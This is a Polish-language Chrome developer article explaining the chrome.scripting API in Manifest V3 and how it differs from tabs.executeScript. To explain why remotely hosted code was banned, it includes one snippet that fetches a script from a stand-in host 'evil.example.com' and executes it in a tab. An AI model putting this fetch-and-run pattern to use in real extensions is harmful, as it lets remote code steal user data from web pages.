Manifest V3 wprowadza kilka zmian na platformie rozszerzeń Chrome. W tym poście omówimy motywacje i efekty jednej z najbardziej znaczących zmian: wprowadzenia interfejsu API chrome.scripting
.
Co to jest chrome.scripting?
Jak wskazuje nazwa, chrome.scripting
to nowy obszar nazw wprowadzony w pliku manifestu w wersji 3, odpowiedzialny za możliwości wstrzykiwania skryptu i stylów.
Deweloperzy, którzy wcześniej tworzyli rozszerzenia do Chrome, mogą być zaznajomieni z metodami Manifest V2 w interfejsie Tabs API, takimi jak chrome.tabs.executeScript
i chrome.tabs.insertCSS
. Te metody umożliwiają rozszerzeniom umieszczanie skryptów i arkuszy stylów na stronach. W pliku manifestu V3 te funkcje zostały przeniesione do
chrome.scripting
, a w przyszłości planujemy rozszerzyć ten interfejs API o nowe funkcje.
Po co tworzyć nowy interfejs API?
W przypadku takiej zmiany jednym z pierwszych pytań, które się pojawia, jest „dlaczego?”.
Zespół Chrome zdecydował się wprowadzić nową przestrzeń nazw dla skryptów z kilku powodów.
Po pierwsze, interfejs Tabs API jest trochę schowkiem na funkcje. Po drugie, musieliśmy wprowadzić zmiany w interfejsie API executeScript
, które mogły spowodować przerwanie działania. Po trzecie, chcieliśmy rozszerzyć możliwości skryptowania w przypadku rozszerzeń. Wszystkie te problemy wyraźnie wskazywały na potrzebę stworzenia nowej przestrzeni nazw, która umożliwi tworzenie skryptów.
Panel z niepotrzebnymi rzeczami
Jednym z problemów, które od kilku lat spędza sen z oczu zespołowi ds. rozszerzeń, jest przeciążenie interfejsu API chrome.tabs
. Gdy to interfejs API został po raz pierwszy wprowadzony, większość jego funkcji dotyczyła ogólnej koncepcji karty przeglądarki. Jednak nawet wtedy była to mieszanka funkcji, która z biegiem lat tylko się powiększała.
W czasie wydania pliku manifestu w wersji 3 interfejs Tabs API został rozbudowany o podstawowe funkcje zarządzania kartami, zarządzania wyborem, organizacji okien, wysyłania wiadomości, sterowania powiększeniem, podstawowej nawigacji, skryptowania i kilka innych mniejszych funkcji. Wszystkie te funkcje są ważne, ale mogą przytłoczyć deweloperów na początku korzystania z Chrome, a także zespół Chrome, który zajmuje się obsługą platformy i rozpatrywaniem próśb społeczności deweloperów.
Kolejnym czynnikiem komplikującym jest to, że uprawnienia tabs
nie są dobrze rozumiane. Wiele innych uprawnień ogranicza dostęp do danego interfejsu API (np. storage
), ale to uprawnienie jest nieco nietypowe, ponieważ przyznaje rozszerzeniu dostęp tylko do wrażliwych właściwości w przypadku instancji karty (a co za tym idzie, wpływa też na interfejs API systemu Windows). Zrozumiałe jest, że wielu deweloperów rozszerzeń błędnie uważa, że te uprawnienia są im potrzebne do uzyskiwania dostępu do metod interfejsu Tabs API, takich jak chrome.tabs.create
lub, bardziej konkretnie, chrome.tabs.executeScript
. Przeniesienie funkcji z interfejsu Tabs API pomoże rozwiać część tych wątpliwości.
Zmiany powodujące niezgodność
Podczas projektowania pliku manifestu V3 jednym z głównych problemów, które chcieliśmy rozwiązać, były nadużycia i programy malware umożliwiane przez „kod hostowany zdalnie” – kod, który jest wykonywany, ale nie jest zawarty w pakiecie rozszerzenia. Autorzy szkodliwych rozszerzeń często uruchamiają skrypty pobrane z serwerów zdalnych, aby kraść dane użytkowników, wstrzykiwać złośliwe oprogramowanie i uniknąć wykrycia. Chociaż ta funkcja jest wykorzystywana przez osoby o dobrych intencjach, uznaliśmy, że jest ona zbyt niebezpieczna.
Rozszerzenia mogą wykonywać niespakowany kod na kilka różnych sposobów, ale w tym przypadku odpowiednia jest metoda Manifest V2 chrome.tabs.executeScript
. Ta metoda umożliwia rozszerzeniu wykonanie dowolnego ciągu kodu na karcie docelowej. Oznacza to, że złośliwy programista może pobrać dowolny skrypt z dalszego serwera i wykonywać go na dowolnej stronie, do której ma dostęp. Wiedzieliśmy, że jeśli chcemy rozwiązać problem z kodem zdalnym, musimy zrezygnować z tej funkcji.
(async function() {
let result = await fetch('https://evil.example.com/malware.js');
let script = await result.text();
chrome.tabs.executeScript({
code: script,
});
})();
Chcieliśmy też usunąć inne, bardziej subtelne problemy z projektem wersji 2 pliku manifestu i uczynić interfejs API bardziej dopracowanym i przewidywalnym narzędziem.
Mogliśmy zmienić sygnaturę tej metody w interfejsie Tabs API, ale uznaliśmy, że ze względu na te zmiany i wprowadzenie nowych funkcji (omówionych w następnej sekcji) łatwiej będzie wszystkim, jeśli zrobimy czysty rozdział.
Rozszerzanie możliwości skryptowania
Kolejnym czynnikiem, który wpłynął na proces projektowania pliku manifestu V3, było pragnienie wprowadzenia na platformie rozszerzeń Chrome dodatkowych możliwości skryptowania. Chcieliśmy w szczególności dodać obsługę dynamicznych skryptów treści i rozszerzyć możliwości metody executeScript
.
Obsługa skryptów dynamicznych treści była od dawna oczekiwaną funkcją w Chromium. Obecnie rozszerzenia Chrome z Manifestem V2 i V3 mogą deklarować skrypty dotyczące treści tylko w pliku manifest.json
. Platforma nie udostępnia sposobu rejestrowania nowych skryptów treści, dostosowywania rejestracji skryptów treści ani anulowania rejestracji skryptów treści w czasie wykonywania.
Chociaż wiedzieliśmy, że chcemy uwzględnić tę prośbę o funkcję w pliku manifestu w wersji 3, żadne z naszych dotychczasowych interfejsów API nie wydawało się odpowiednim miejscem na jej wdrożenie. Rozważaliśmy też dostosowanie się do Content Scripts API w Firefox, ale już na samym początku zauważyliśmy kilka poważnych wad tego podejścia.
Po pierwsze, wiedzieliśmy, że będziemy mieć niezgodne podpisy (np. rezygnacja z obsługi właściwości code
). Po drugie, nasz interfejs API miał inny zestaw ograniczeń projektowych (np. wymagał rejestracji, która przetrwałaby dłużej niż czas życia service workera). Wreszcie ta przestrzeń nazw ograniczyłaby nas do funkcji skryptu treści, podczas gdy rozważamy skrypty w ramach rozszerzeń w szerszym zakresie.
W przypadku interfejsu executeScript
chcieliśmy też zwiększyć możliwości tego interfejsu API poza zakres obsługiwany przez wersję interfejsu Tabs API. Chcieliśmy przede wszystkim umożliwić obsługę funkcji i argumentów, ułatwić kierowanie na konkretne ramki oraz uwzględnianie kontekstów innych niż „karta”.
W przyszłości rozważymy też, jak rozszerzenia mogą współdziałać z zainstalowanymi Progressive Web Apps i innymi kontekstami, które nie pasują do koncepcji kart.
Zmiany między funkcjami tabs.executeScript i scripting.executeScript
W dalszej części tego artykułu przyjrzymy się bliżej podobieństwom i różnicom między chrome.tabs.executeScript
a chrome.scripting.executeScript
.
Wstrzyknięcie funkcji z argumentami
Rozważając, jak platforma powinna się rozwijać w świetle ograniczeń związanych z kodami hostowanymi zdalnie, chcieliśmy znaleźć równowagę między możliwościami dowolnego wykonania kodu a dozwoleniem tylko na skrypty treści statycznych. Rozwiązaniem, na które się zdecydowaliśmy, było umożliwienie rozszerzeniom wstrzykiwania funkcji jako skryptu treści i przekazywania tablicy wartości jako argumentów.
Przyjrzyjmy się (bardzo uproszczonemu) przykładowi. Załóżmy, że chcemy wstrzyknąć skrypt, który wita użytkownika po imieniu, gdy kliknie on przycisk działania rozszerzenia (ikonę na pasku narzędzi). W Manifest V2 można było dynamicznie tworzyć ciąg kodu i wykonywać ten skrypt w bieżącej stronie.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/greet-user.js');
let userScript = await userReq.text();
chrome.tabs.executeScript({
// userScript == 'alert("Hello, <GIVEN_NAME>!")'
code: userScript,
});
});
Chociaż rozszerzenia korzystające z platformy Manifest V3 nie mogą używać kodu, który nie jest wbudowany w rozszerzenie, naszym celem było zachowanie części dynamiki, którą umożliwiały dowolne bloki kodu w rozszerzeniach korzystających z platformy Manifest V2. Podejście oparte na funkcjach i argumentach umożliwia sprawdzającym w Chrome Web Store, użytkownikom i innym zainteresowanym stronom dokładniejszą ocenę ryzyka związanego z rozszerzeniem, a także pozwala deweloperom modyfikować zachowanie rozszerzenia w czasie działania na podstawie ustawień użytkownika lub stanu aplikacji.
// Manifest V3 extension
function greetUser(name) {
alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/user-data.json');
let user = await userReq.json();
let givenName = user.givenName || '<GIVEN_NAME>';
chrome.scripting.executeScript({
target: {tabId: tab.id},
func: greetUser,
args: [givenName],
});
});
Ramki kierowania
Chcieliśmy też ulepszyć sposób, w jaki deweloperzy pracują z ramkami w zmienionym interfejsie API. Wersja manifestu executeScript
V2 umożliwiała deweloperom kierowanie na wszystkie ramki na karcie lub na konkretną ramkę na karcie. Aby uzyskać listę wszystkich ramek na karcie, użyj parametru chrome.webNavigation.getAllFrames
.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.tabs.executeScript(tab.id, {
frameId: frame1,
file: 'content-script.js',
});
chrome.tabs.executeScript(tab.id, {
frameId: frame2,
file: 'content-script.js',
});
});
});
W pliku manifestu w wersji 3 zastąpiliśmy opcjonalną właściwością frameId
typu całkowitego w obiekcie opcji opcjonalnym tablicą frameIds
liczb całkowitych. Umożliwia to deweloperom kierowanie na wiele klatek w jednym wywołaniu interfejsu API.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.scripting.executeScript({
target: {
tabId: tab.id,
frameIds: [frame1, frame2],
},
files: ['content-script.js'],
});
});
Wyniki wstrzyknięcia skryptu
Ulepszyliśmy też sposób zwracania wyników wstrzyknięcia skryptu w pliku manifestu V3. „Wynik” to w podstawie ostatnia instrukcja oceniana w skrypcie. Wyobraź sobie, że jest to wartość zwracana przez funkcję eval()
lub blok kodu w konsoli Narzędzi deweloperskich w Chrome, ale zserializowana w celu przekazywania wyników między procesami.
W pliku manifestu V2 funkcje executeScript
i insertCSS
zwracałyby tablicę prostych wyników wykonania.
Jest to w porządku, jeśli masz tylko 1 punkt wstrzyknięcia, ale kolejność wyników nie jest gwarantowana podczas wstrzyknięcia do wielu klatek, więc nie ma możliwości określenia, który wynik jest powiązany z którą klatką.
Na potrzeby konkretnego przykładu przyjrzyjmy się tablicom results
zwracanym przez Manifest V2 i Manifest V3 tego samego rozszerzenia. Obie wersje rozszerzenia będą wykorzystywać ten sam skrypt treści, a my porównamy wyniki na tej samej stronie demonstracyjnej.
// content-script.js
var headers = document.querySelectorAll('p');
headers.length;
Po uruchomieniu wersji 2 pliku manifestu otrzymujemy tablicę [1, 0, 5]
. Który wynik odpowiada głównej ramce, a który elementowi iframe? Wartość zwracana nie zawiera tej informacji, więc nie mamy pewności.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.tabs.executeScript({
allFrames: true,
file: 'content-script.js',
}, (results) => {
// results == [1, 0, 5]
for (let result of results) {
if (result > 0) {
// Do something with the frame... which one was it?
}
}
});
});
W pliku manifestu w wersji 3 element results
zawiera teraz tablicę obiektów wyników zamiast tablicy zawierającej tylko wyniki oceny. Obiekty wyników wyraźnie identyfikują identyfikator ramki dla każdego wyniku. Dzięki temu deweloperzy mogą łatwiej wykorzystać wynik i podjąć działania w przypadku konkretnego kadru.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let results = await chrome.scripting.executeScript({
target: {tabId: tab.id, allFrames: true},
files: ['content-script.js'],
});
// results == [
// {frameId: 0, result: 1},
// {frameId: 1235, result: 5},
// {frameId: 1234, result: 0}
// ]
for (let result of results) {
if (result.result > 0) {
console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
// Found 1 p tag(s) in frame 0
// Found 5 p tag(s) in frame 1235
}
}
});
Podsumowanie
Zmiany wersji pliku manifestu to rzadka okazja do przemyślenia i zmodernizowania interfejsów API rozszerzeń. Celem wersji 3 manifestu jest poprawa wygody użytkowników dzięki zwiększeniu bezpieczeństwa rozszerzeń oraz ułatwienie pracy deweloperom. Dzięki wprowadzeniu chrome.scripting
w Manifest V3 mogliśmy uporządkować interfejs Tabs API, zmienić sposób działania executeScript
, aby zapewnić większą ochronę platformy rozszerzeń, oraz przygotować grunt pod nowe możliwości skryptowania, które pojawią się jeszcze w tym roku.